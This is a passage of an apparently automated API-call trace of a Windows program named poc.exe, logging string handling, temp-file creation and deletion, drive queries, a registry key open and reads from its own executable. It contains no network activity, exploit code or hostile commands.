pbstr=0x47071c*="\\device\\harddiskvolume1\\progra~3\\poc.exe\\") returned 1 [0118.077] SysReAllocStringLen (in: pbstr=0x470740*=0x0, psz="device", len=0x6 | out: pbstr=0x470740*="device") returned 1 [0118.077] SysReAllocStringLen (in: pbstr=0x470760*=0x0, psz="harddiskvolume1", len=0xf | out: pbstr=0x470760*="harddiskvolume1") returned 1 [0118.077] SysReAllocStringLen (in: pbstr=0x47076c*=0x0, psz="progra~3", len=0x8 | out: pbstr=0x47076c*="progra~3") returned 1 [0118.077] SysReAllocStringLen (in: pbstr=0x470778*=0x0, psz="poc.exe", len=0x7 | out: pbstr=0x470778*="poc.exe") returned 1 [0118.077] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="device", cchWideChar=6, lpMultiByteStr=0x28e828, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="devicee3½ÓA", lpUsedDefaultChar=0x0) returned 6 [0118.077] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="harddiskvolume1", cchWideChar=15, lpMultiByteStr=0x28e828, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="harddiskvolume1", lpUsedDefaultChar=0x0) returned 15 [0118.077] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="progra~3", cchWideChar=8, lpMultiByteStr=0x28e828, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="progra~3volume1", lpUsedDefaultChar=0x0) returned 8 [0118.077] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="poc.exe", cchWideChar=7, lpMultiByteStr=0x28e828, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="poc.exe3volume1", lpUsedDefaultChar=0x0) returned 7 [0118.077] SysReAllocStringLen (in: pbstr=0x28f8b0*="poc.exe", psz="device", len=0x6 | out: pbstr=0x28f8b0*="device") returned 1 [0118.077] SysReAllocStringLen (in: pbstr=0x28f8b4*="poc.exe\\", psz="device", len=0x6 | out: pbstr=0x28f8b4*="device") returned 1 [0118.078] SysReAllocStringLen (in: pbstr=0x28f8b0*="device", psz="harddiskvolume1", len=0xf | out: pbstr=0x28f8b0*="harddiskvolume1") returned 1 [0118.078] SysReAllocStringLen (in: pbstr=0x28f8b4*="device\\", psz="harddiskvolume1", len=0xf | out: pbstr=0x28f8b4*="harddiskvolume1") returned 1 [0118.078] SysReAllocStringLen (in: pbstr=0x28f8b0*="harddiskvolume1", psz="progra~3", len=0x8 | out: pbstr=0x28f8b0*="progra~3") returned 1 [0118.078] SysReAllocStringLen (in: pbstr=0x28f8b4*="harddiskvolume1\\", psz="progra~3", len=0x8 | out: pbstr=0x28f8b4*="progra~3") returned 1 [0118.078] SysReAllocStringLen (in: pbstr=0x28f8b0*="progra~3", psz="poc.exe", len=0x7 | out: pbstr=0x28f8b0*="poc.exe") returned 1 [0118.078] SysReAllocStringLen (in: pbstr=0x28f8b4*="progra~3\\", psz="poc.exe", len=0x7 | out: pbstr=0x28f8b4*="poc.exe") returned 1 [0118.078] VirtualFree (lpAddress=0x464000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0118.079] CharLowerBuffW (in: lpsz="device\\harddiskvolume1\\progra~3\\poc.exe\\", cchLength=0x28 | out: lpsz="device\\harddiskvolume1\\progra~3\\poc.exe\\") returned 0x28 [0118.079] SysReAllocStringLen (in: pbstr=0x28f8a8*=0x0, psz="device\\harddiskvolume1\\progra~3\\poc.exe\\", len=0x28 | out: pbstr=0x28f8a8*="device\\harddiskvolume1\\progra~3\\poc.exe\\") returned 1 [0118.079] SysReAllocStringLen (in: pbstr=0x28f900*="device\\harddiskvolume1\\progra~3\\poc.exe\\", psz="device\\harddiskvolume1\\progra~3\\poc.exe", len=0x27 | out: pbstr=0x28f900*="device\\harddiskvolume1\\progra~3\\poc.exe") returned 1 [0118.079] CharLowerBuffW (in: lpsz="device\\harddiskvolume1\\progra~3\\poc.exe", cchLength=0x27 | out: lpsz="device\\harddiskvolume1\\progra~3\\poc.exe") returned 0x27 [0118.079] SysReAllocStringLen (in: pbstr=0x460718*=0x0, psz="device\\harddiskvolume1\\progra~3\\poc.exe", len=0x27 | out: pbstr=0x460718*="device\\harddiskvolume1\\progra~3\\poc.exe") returned 1 [0118.079] SysReAllocStringLen (in: pbstr=0x46073c*=0x0, psz="device", len=0x6 | out: pbstr=0x46073c*="device") returned 1 [0118.080] SysReAllocStringLen (in: pbstr=0x46075c*=0x0, psz="harddiskvolume1", len=0xf | out: pbstr=0x46075c*="harddiskvolume1") returned 1 [0118.080] SysReAllocStringLen (in: pbstr=0x460768*=0x0, psz="progra~3", len=0x8 | out: pbstr=0x460768*="progra~3") returned 1 [0118.080] SysReAllocStringLen (in: pbstr=0x460774*=0x0, psz="poc.exe", len=0x7 | out: pbstr=0x460774*="poc.exe") returned 1 [0118.080] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="device", cchWideChar=6, lpMultiByteStr=0x28e870, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="deviceedataume1", lpUsedDefaultChar=0x0) returned 6 [0118.080] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="harddiskvolume1", cchWideChar=15, lpMultiByteStr=0x28e870, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="harddiskvolume1", lpUsedDefaultChar=0x0) returned 15 [0118.080] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="progra~3", cchWideChar=8, lpMultiByteStr=0x28e870, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="progra~3volume1", lpUsedDefaultChar=0x0) returned 8 [0118.080] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="poc.exe", cchWideChar=7, lpMultiByteStr=0x28e870, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="poc.exe3volume1", lpUsedDefaultChar=0x0) returned 7 [0118.080] SysReAllocStringLen (in: pbstr=0x460638*=0x0, psz="c:\\ProgramData\\poc.exe", len=0x16 | out: pbstr=0x460638*="c:\\ProgramData\\poc.exe") returned 1 [0118.081] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0xc0 [0118.081] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0xcc [0118.081] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0xd0 [0118.081] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0xd4 [0118.081] SysReAllocStringLen (in: pbstr=0x460850*=0x0, psz="registry", len=0x8 | out: pbstr=0x460850*="registry") returned 1 [0118.081] SysReAllocStringLen (in: pbstr=0x460854*=0x0, psz="registry", len=0x8 | out: pbstr=0x460854*="registry") returned 1 [0118.081] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0xd8 [0118.082] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0xdc [0118.082] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0xe0 [0118.082] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0xe4 [0118.082] VirtualAlloc (lpAddress=0x464000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x464000 [0118.083] GetTempPathW (in: nBufferLength=0xfffe, lpBuffer=0x460be0 | out: lpBuffer="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\") returned 0x25 [0118.083] GetTempFileNameW (in: lpPathName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\", lpPrefixString="evb", uUnique=0x0, lpTempFileName=0x460be0 | out: lpTempFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\evbAD10.tmp" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\evbad10.tmp")) returned 0xad10 [0118.084] VirtualFree (lpAddress=0x464000, dwSize=0x14000, dwFreeType=0x4000) returned 1 [0118.085] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\evbAD10.tmp" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\evbad10.tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xe8 [0118.085] CreateFileW (lpFileName="c:\\ProgramData\\poc.exe" (normalized: "c:\\programdata\\poc.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xec [0118.085] SetFilePointer (in: hFile=0xec, lDistanceToMove=93344, lpDistanceToMoveHigh=0x28f564*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x28f564*=0) returned 0x16ca0 [0118.085] ReadFile (in: hFile=0xec, lpBuffer=0x28f8b0, nNumberOfBytesToRead=0x40, lpNumberOfBytesRead=0x28f568, lpOverlapped=0x0 | out: lpBuffer=0x28f8b0*, lpNumberOfBytesRead=0x28f568*=0x40, lpOverlapped=0x0) returned 1 [0118.086] CloseHandle (hObject=0xec) returned 1 [0118.086] SysReAllocStringLen (in: pbstr=0x460bf0*=0x0, psz="c:\\ProgramData\\poc.exe", len=0x16 | out: pbstr=0x460bf0*="c:\\ProgramData\\poc.exe") returned 1 [0118.086] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76e10000 [0118.086] GetProcAddress (hModule=0x76e10000, lpProcName="GetErrorMode") returned 0x76e3b148 [0118.086] GetErrorMode () returned 0x0 [0118.086] SetErrorMode (uMode=0x1) returned 0x0 [0118.086] SetErrorMode (uMode=0x0) returned 0x1 [0118.086] VirtualAlloc (lpAddress=0x464000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x464000 [0118.087] GetTempPathW (in: nBufferLength=0xfffe, lpBuffer=0x460c44 | out: lpBuffer="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\") returned 0x25 [0118.087] SysReAllocStringLen (in: pbstr=0x28f57c*=0x0, psz="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\", len=0x25 | out: pbstr=0x28f57c*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\") returned 1 [0118.087] FindFirstFileW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\evb*.tmp", lpFindFileData=0x28f328 | out: lpFindFileData=0x28f328*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8d87a660, ftCreationTime.dwHighDateTime=0x1d5ca1f, ftLastAccessTime.dwLowDateTime=0x8d87a660, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8d87a660, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x740000, dwReserved1=0x75c178, cFileName="evb55BD.tmp", cAlternateFileName="")) returned 0x758e50 [0118.088] FileTimeToLocalFileTime (in: lpFileTime=0x28f33c, lpLocalFileTime=0x28f2c8 | out: lpLocalFileTime=0x28f2c8) returned 1 [0118.088] FileTimeToDosDateTime (in: lpFileTime=0x28f2c8, lpFatDate=0x28f30a, lpFatTime=0x28f308 | out: lpFatDate=0x28f30a, lpFatTime=0x28f308) returned 1 [0118.088] DeleteFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\evb55BD.tmp" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\evb55bd.tmp")) returned 1 [0118.088] FindNextFileW (in: hFindFile=0x758e50, lpFindFileData=0x28f328 | out: lpFindFileData=0x28f328*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9adab8c0, ftCreationTime.dwHighDateTime=0x1d5ca1f, ftLastAccessTime.dwLowDateTime=0x9adab8c0, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x9adab8c0, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x740000, dwReserved1=0x75c178, cFileName="evbAD10.tmp", cAlternateFileName="")) returned 1 [0118.088] FileTimeToLocalFileTime (in: lpFileTime=0x28f33c, lpLocalFileTime=0x28f2d0 | out: lpLocalFileTime=0x28f2d0) returned 1 [0118.088] FileTimeToDosDateTime (in: lpFileTime=0x28f2d0, lpFatDate=0x28f30a, lpFatTime=0x28f308 | out: lpFatDate=0x28f30a, lpFatTime=0x28f308) returned 1 [0118.088] DeleteFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\evbAD10.tmp" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\evbad10.tmp")) returned 0 [0118.088] FindNextFileW (in: hFindFile=0x758e50, lpFindFileData=0x28f328 | out: lpFindFileData=0x28f328*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9adab8c0, ftCreationTime.dwHighDateTime=0x1d5ca1f, ftLastAccessTime.dwLowDateTime=0x9adab8c0, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x9adab8c0, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x740000, dwReserved1=0x75c178, cFileName="evbAD10.tmp", cAlternateFileName="")) returned 0 [0118.088] GetLastError () returned 0x12 [0118.088] FindClose (in: hFindFile=0x758e50 | out: hFindFile=0x758e50) returned 1 [0118.089] VirtualFree (lpAddress=0x464000, dwSize=0x14000, dwFreeType=0x4000) returned 1 [0118.089] GetLogicalDriveStringsW (in: nBufferLength=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0x5 [0118.089] GetLogicalDriveStringsW (in: nBufferLength=0x5, lpBuffer=0x460c44 | out: lpBuffer="C:\\") returned 0x4 [0118.089] VirtualAlloc (lpAddress=0x464000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x464000 [0118.090] QueryDosDeviceW (in: lpDeviceName="C:", lpTargetPath=0x460c54, ucchMax=0xfffe | out: lpTargetPath="\\Device\\HarddiskVolume1") returned 0x19 [0118.091] CharLowerBuffW (in: lpsz="C:", cchLength=0x2 | out: lpsz="c:") returned 0x2 [0118.091] SysReAllocStringLen (in: pbstr=0x470c60*="C:", psz="c:", len=0x2 | out: pbstr=0x470c60*="c:") returned 1 [0118.091] CharLowerBuffW (in: lpsz="\\Device\\HarddiskVolume1", cchLength=0x17 | out: lpsz="\\device\\harddiskvolume1") returned 0x17 [0118.091] SysReAllocStringLen (in: pbstr=0x470c64*="\\Device\\HarddiskVolume1", psz="\\device\\harddiskvolume1", len=0x17 | out: pbstr=0x470c64*="\\device\\harddiskvolume1") returned 1 [0118.091] VirtualFree (lpAddress=0x464000, dwSize=0xc000, dwFreeType=0x4000) returned 1 [0118.091] SysReAllocStringLen (in: pbstr=0x28f554*=0x0, psz="\\device\\harddiskvolume1", len=0x17 | out: pbstr=0x28f554*="\\device\\harddiskvolume1") returned 1 [0118.091] CharLowerBuffW (in: lpsz="\\device\\harddiskvolume1\\", cchLength=0x18 | out: lpsz="\\device\\harddiskvolume1\\") returned 0x18 [0118.092] SysReAllocStringLen (in: pbstr=0x470c70*=0x0, psz="\\device\\harddiskvolume1\\", len=0x18 | out: pbstr=0x470c70*="\\device\\harddiskvolume1\\") returned 1 [0118.092] SysReAllocStringLen (in: pbstr=0x470c94*=0x0, psz="device", len=0x6 | out: pbstr=0x470c94*="device") returned 1 [0118.092] SysReAllocStringLen (in: pbstr=0x470cb4*=0x0, psz="harddiskvolume1", len=0xf | out: pbstr=0x470cb4*="harddiskvolume1") returned 1 [0118.092] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="device", cchWideChar=6, lpMultiByteStr=0x28e4c0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="device(", lpUsedDefaultChar=0x0) returned 6 [0118.092] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="harddiskvolume1", cchWideChar=15, lpMultiByteStr=0x28e4c0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="harddiskvolume1", lpUsedDefaultChar=0x0) returned 15 [0118.092] VirtualFree (lpAddress=0x474000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0118.093] RtlFormatCurrentUserKeyPath (in: KeyPath="" | out: KeyPath="\\REGISTRY\\USER\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 0x0 [0118.093] SysReAllocStringLen (in: pbstr=0x470c74*=0x0, psz="classes", len=0x7 | out: pbstr=0x470c74*="classes") returned 1 [0118.093] SysReAllocStringLen (in: pbstr=0x4608ac*=0x0, psz="\\registry\\machine\\software\\classes", len=0x22 | out: pbstr=0x4608ac*="\\registry\\machine\\software\\classes") returned 1 [0118.093] SysReAllocStringLen (in: pbstr=0x470c78*=0x0, psz="\\registry\\machine\\software\\classes", len=0x22 | out: pbstr=0x470c78*="\\registry\\machine\\software\\classes") returned 1 [0118.093] RtlFormatCurrentUserKeyPath (in: KeyPath="\\REGISTRY\\USER\\S-1-5-21-3388679973-3930757225-3770151564-1000" | out: KeyPath="\\REGISTRY\\USER\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 0x0 [0118.093] RtlFreeAnsiString (AnsiString="\\") [0118.093] CharLowerBuffW (in: lpsz="\\REGISTRY\\USER\\S-1-5-21-3388679973-3930757225-3770151564-1000", cchLength=0x3d | out: lpsz="\\registry\\user\\s-1-5-21-3388679973-3930757225-3770151564-1000") returned 0x3d [0118.093] SysReAllocStringLen (in: pbstr=0x4608a4*="\\REGISTRY\\USER\\S-1-5-21-3388679973-3930757225-3770151564-1000", psz="\\registry\\user\\s-1-5-21-3388679973-3930757225-3770151564-1000", len=0x3d | out: pbstr=0x4608a4*="\\registry\\user\\s-1-5-21-3388679973-3930757225-3770151564-1000") returned 1 [0118.093] SysReAllocStringLen (in: pbstr=0x470c7c*=0x0, psz="user", len=0x4 | out: pbstr=0x470c7c*="user") returned 1 [0118.093] SysReAllocStringLen (in: pbstr=0x470c80*=0x0, psz="\\registry\\user\\s-1-5-21-3388679973-3930757225-3770151564-1000", len=0x3d | out: pbstr=0x470c80*="\\registry\\user\\s-1-5-21-3388679973-3930757225-3770151564-1000") returned 1 [0118.093] SysReAllocStringLen (in: pbstr=0x470c84*=0x0, psz="machine", len=0x7 | out: pbstr=0x470c84*="machine") returned 1 [0118.094] SysReAllocStringLen (in: pbstr=0x470c88*=0x0, psz="\\registry\\machine", len=0x11 | out: pbstr=0x470c88*="\\registry\\machine") returned 1 [0118.094] SysReAllocStringLen (in: pbstr=0x470c8c*=0x0, psz="users", len=0x5 | out: pbstr=0x470c8c*="users") returned 1 [0118.094] SysReAllocStringLen (in: pbstr=0x470c90*=0x0, psz="\\registry\\user", len=0xe | out: pbstr=0x470c90*="\\registry\\user") returned 1 [0118.094] SysReAllocStringLen (in: pbstr=0x470c94*=0x0, psz="config", len=0x6 | out: pbstr=0x470c94*="config") returned 1 [0118.094] RegOpenKeyA (in: hKey=0x80000005, lpSubKey="Software", phkResult=0x28f574 | out: phkResult=0x28f574*=0xf0) returned 0x0 [0118.094] VirtualAlloc (lpAddress=0x474000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x474000 [0118.095] NtQueryObject (in: Handle=0xf0, ObjectInformationClass=0x1, ObjectInformation=0x470ca0, ObjectInformationLength=0xfffe, ReturnLength=0x28f53c | out: ObjectInformation=0x470ca0, ReturnLength=0x28f53c) returned 0x0 [0118.096] VirtualFree (lpAddress=0x474000, dwSize=0x14000, dwFreeType=0x4000) returned 1 [0118.146] SysReAllocStringLen (in: pbstr=0x470c98*=0x0, psz="\\REGISTRY\\MACHINE\\SYSTEM\\ControlSet001\\Hardware Profiles\\0001\\Software", len=0x46 | out: pbstr=0x470c98*="\\REGISTRY\\MACHINE\\SYSTEM\\ControlSet001\\Hardware Profiles\\0001\\Software") returned 1 [0118.146] CloseHandle (hObject=0xf0) returned 1 [0118.146] CreateFileW (lpFileName="c:\\ProgramData\\poc.exe" (normalized: "c:\\programdata\\poc.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0118.147] SetFilePointer (in: hFile=0xf0, lDistanceToMove=93408, lpDistanceToMoveHigh=0x28f568*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x28f568*=0) returned 0x16ce0 [0118.147] ReadFile (in: hFile=0xf0, lpBuffer=0x28f55c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x28f540, lpOverlapped=0x0 | out: lpBuffer=0x28f55c*, lpNumberOfBytesRead=0x28f540*=0x4, lpOverlapped=0x0) returned 1 [0118.147] ReadFile (in: hFile=0xf0, lpBuffer=0x470ca0, nNumberOfBytesToRead=0x88e, lpNumberOfBytesRead=0x28f534, lpOverlapped=0x0 | out: lpBuffer=0x470ca0*, lpNumberOfBytesRead=0x28f534*=0x88e, lpOverlapped=0x0) returned 1 [0118.147] SysReAllocStringLen (in: pbstr=0x28f40c*=0x0, psz="C:", len=0x2 | out: pbstr=0x28f40c*="C:") returned 1 [0118.147] CharLowerBuffW (in: lpsz="C:", cchLength=0x2 | out: lpsz="c:") returned 0x2 [0118.147] SysReAllocStringLen (in: pbstr=0x28f410*="C:", psz="c:", len=0x2 | out: pbstr=0x28f410*="c:") returned 1 [0118.147] SysReAllocStringLen (in: pbstr=0x471580*=0x0, psz="c:", len=0x2 | out: pbstr=0x471580*="c:") returned 1 [0118.147] SysReAllocStringLen (in: pbstr=0x471584*=0x0, psz="C:", len=0x2 | out: pbstr=0x471584*="C:") returned 1 [0118.147] CharLowerBuffW (in: lpsz="c:", cchLength=0x2 | out: lpsz="c:") returned 0x2 [0118.147] SysReAllocStringLen (in: pbstr=0x471588*=0x0, psz="c:", len=0x2 | out: pbstr=0x471588*="c:") returned 1 [0118.148] CharLowerBuffW (in: lpsz="c:", cchLength=0x2 | out: lpsz="c:") returned 0x2 [0118.148] SysReAllocStringLen (in: pbstr=0x471678*=0x0, psz="c:", len=0x2 | out: pbstr=0x471678*="c:") returned 1 [0118.148] SysReAllocStringLen (in: pbstr=0x47167c*=0x0, psz="c:", len=0x2 | out: pbstr=0x47167c*="c:") returned 1 [0118.148] SysReAllocStringLen (in: pbstr=0x28f0e4*=0x0, psz="c:", len=0x2 | out: pbstr=0x28f0e4*="c:") returned 1 [0118.148] SysReAllocStringLen (in: pbstr=0x28f3e4*=0x0, psz="c:\\", len=0x3 | out: pbstr=0x28f3e4*="c:\\") returned 1 [0118.148] SysReAllocStringLen (in: pbstr=0x28f0cc*=0x0, psz="c:\\", len=0x3 | out: pbstr=0x28f0cc*="c:\\") returned 1 [0118.148] SysReAllocStringLen (in: pbstr=0x28f3e4*="c:\\", psz="c:", len=0x2 | out: pbstr=0x28f3e4*="c:") returned 1 [0118.148] CharLowerBuffW (in: lpsz="c:", cchLength=0x2 | out: lpsz="c:") returned 0x2 [0118.148] SysReAllocStringLen (in: pbstr=0x471678*=0x0, psz="c:", len=0x2 | out: pbstr=0x471678*="c:") returned 1 [0118.148] SysReAllocStringLen (in: pbstr=0x47167c*=0x0, psz="c:", len=0x2 | out: pbstr=0x47167c*="c:") returned 1 [0118.149] CharLowerBuffW (in: lpsz="c:", cchLength=0x2 | out: lpsz="c:") returned 0x2 [0118.149] SysReAllocStringLen (in: pbstr=0x4716a0*=0x0, psz="c:", len=0x2 | out: pbstr=0x4716a0*="c:") returned 1 [0118.149] SysReAllocStringLen (in: pbstr=0x4716a4*=0x0, psz="c:", len=0x2 | out: pbstr=0x4716a4*="c:") returned 1 [0118.149] SysReAllocStringLen (in: pbstr=0x28f0e4*=0x0, psz="c:", len=0x2 | out: pbstr=0x28f0e4*="c:") returned 1 [0118.149] SysReAllocStringLen (in: pbstr=0x28f3e0*=0x0, psz="c:\\", len=0x3 | out: pbstr=0x28f3e0*="c:\\") returned 1 [0118.149] SysReAllocStringLen (in: pbstr=0x28f0c8*=0x0, psz="c:\\", len=0x3 | out: pbstr=0x28f0c8*="c:\\") returned 1 [0118.149] SysReAllocStringLen (in: pbstr=0x28f3e0*="c:\\", psz="c:", len=0x2 | out: pbstr=0x28f3e0*="c:") returned 1 [0118.149] CharLowerBuffW (in: lpsz="c:", cchLength=0x2 | out: lpsz="c:") returned 0x2 [0118.149] SysReAllocStringLen (in: pbstr=0x4716a0*=0x0, psz="c:", len=0x2 | out: pbstr=0x4716a0*="c:") returned 1 [0118.150] SysReAllocStringLen (in: pbstr=0x4716a4*=0x0, psz="c:", len=0x2 | out: pbstr=0x4716a4*="c:") returned 1 [0118.150] GetLocalTime (in: lpSystemTime=0x28f354 | out: lpSystemTime=0x28f354*(wYear=0x7e4, wMonth=0x1, wDayOfWeek=0x2, wDay=0xe, wHour=0x1, wMinute=0x29, wSecond=0x38, wMilliseconds=0x36a)) [0118.150] SystemTimeToFileTime (in: lpSystemTime=0x28f348, lpFileTime=0x28f358 | out: lpFileTime=0x28f358) returned 1 [0118.150] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x4716e0, cbMultiByte=8, lpWideCharStr=0x28e35c, cchWideChar=2047 | out: lpWideCharStr="EVB563EC(眴棉睩(Ǭt⹇畃⹣畃\x13") returned 8 [0118.150] CharLowerBuffW (in: lpsz="EVB563EC", cchLength=0x8 | out: lpsz="evb563ec") returned 0x8 [0118.150] SysReAllocStringLen (in: pbstr=0x28f3ac*=0x0, psz="c:", len=0x2 | out: pbstr=0x28f3ac*="c:") returned 1 [0118.150] SysReAllocStringLen (in: pbstr=0x28f3b4*=0x0, psz="c:", len=0x2 | out: pbstr=0x28f3b4*="c:") returned 1 [0118.150] GetFileAttributesW (lpFileName="c:\\evb563ec" (normalized: "c:\\evb563ec")) returned 0xffffffff [0118.150] CharLowerBuffW (in: lpsz="c:", cchLength=0x2 | out: lpsz="c:") returned 0x2 [0118.151] SysReAllocStringLen (in: pbstr=0x28f428*="evb563ec", psz="\\device\\harddiskvolume1", len=0x17 | out: pbstr=0x28f428*="\\device\\harddiskvolume1") returned 1 [0118.151] SysReAllocStringLen (in: pbstr=0x4715a4*=0x0, psz="\\device\\harddiskvolume1\\", len=0x18 | out: pbstr=0x4715a4*="\\device\\harddiskvolume1\\") returned 1 [0118.151] CharLowerBuffW (in: lpsz="\\device\\harddiskvolume1\\", cchLength=0x18 | out: lpsz="\\device\\harddiskvolume1\\") returned 0x18 [0118.151] SysReAllocStringLen (in: pbstr=0x4716f4*=0x0, psz="\\device\\harddiskvolume1\\", len=0x18 | out: pbstr=0x4716f4*="\\device\\harddiskvolume1\\") returned 1 [0118.151] SysReAllocStringLen (in: pbstr=0x471718*=0x0, psz="device", len=0x6 | out: pbstr=0x471718*="device") returned 1 [0118.151] SysReAllocStringLen (in: pbstr=0x471738*=0x0, psz="harddiskvolume1", len=0xf | out: pbstr=0x471738*="harddiskvolume1") returned 1 [0118.151] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="device", cchWideChar=6, lpMultiByteStr=0x28e308, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="device", lpUsedDefaultChar=0x0) returned 6 [0118.151] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="harddiskvolume1", cchWideChar=15, lpMultiByteStr=0x28e308, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="harddiskvolume1v\x10", lpUsedDefaultChar=0x0) returned 15 [0118.151] SysReAllocStringLen (in: pbstr=0x28f428*="\\device\\harddiskvolume1\\", psz="\\device\\harddiskvolume1", len=0x17 | out: pbstr=0x28f428*="\\device\\harddiskvolume1") returned 1 [0118.152] CharLowerBuffW (in: lpsz="\\device\\harddiskvolume1\\", cchLength=0x18 | out: lpsz="\\device\\harddiskvolume1\\") returned 0x18 [0118.152] SysReAllocStringLen (in: pbstr=0x471748*=0x0, psz="\\device\\harddiskvolume1\\", len=0x18 | out: pbstr=0x471748*="\\device\\harddiskvolume1\\") returned 1 [0118.152] SysReAllocStringLen (in: pbstr=0x47176c*=0x0, psz="device", len=0x6 | out: pbstr=0x47176c*="device") returned 1 [0118.152] SysReAllocStringLen (in: pbstr=0x47178c*=0x0, psz="harddiskvolume1", len=0xf | out: pbstr=0x47178c*="harddiskvolume1") returned 1 [0118.152] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="device", cchWideChar=6, lpMultiByteStr=0x28e308, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="deviceskvolume1v\x10", lpUsedDefaultChar=0x0) returned 6 [0118.152] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, 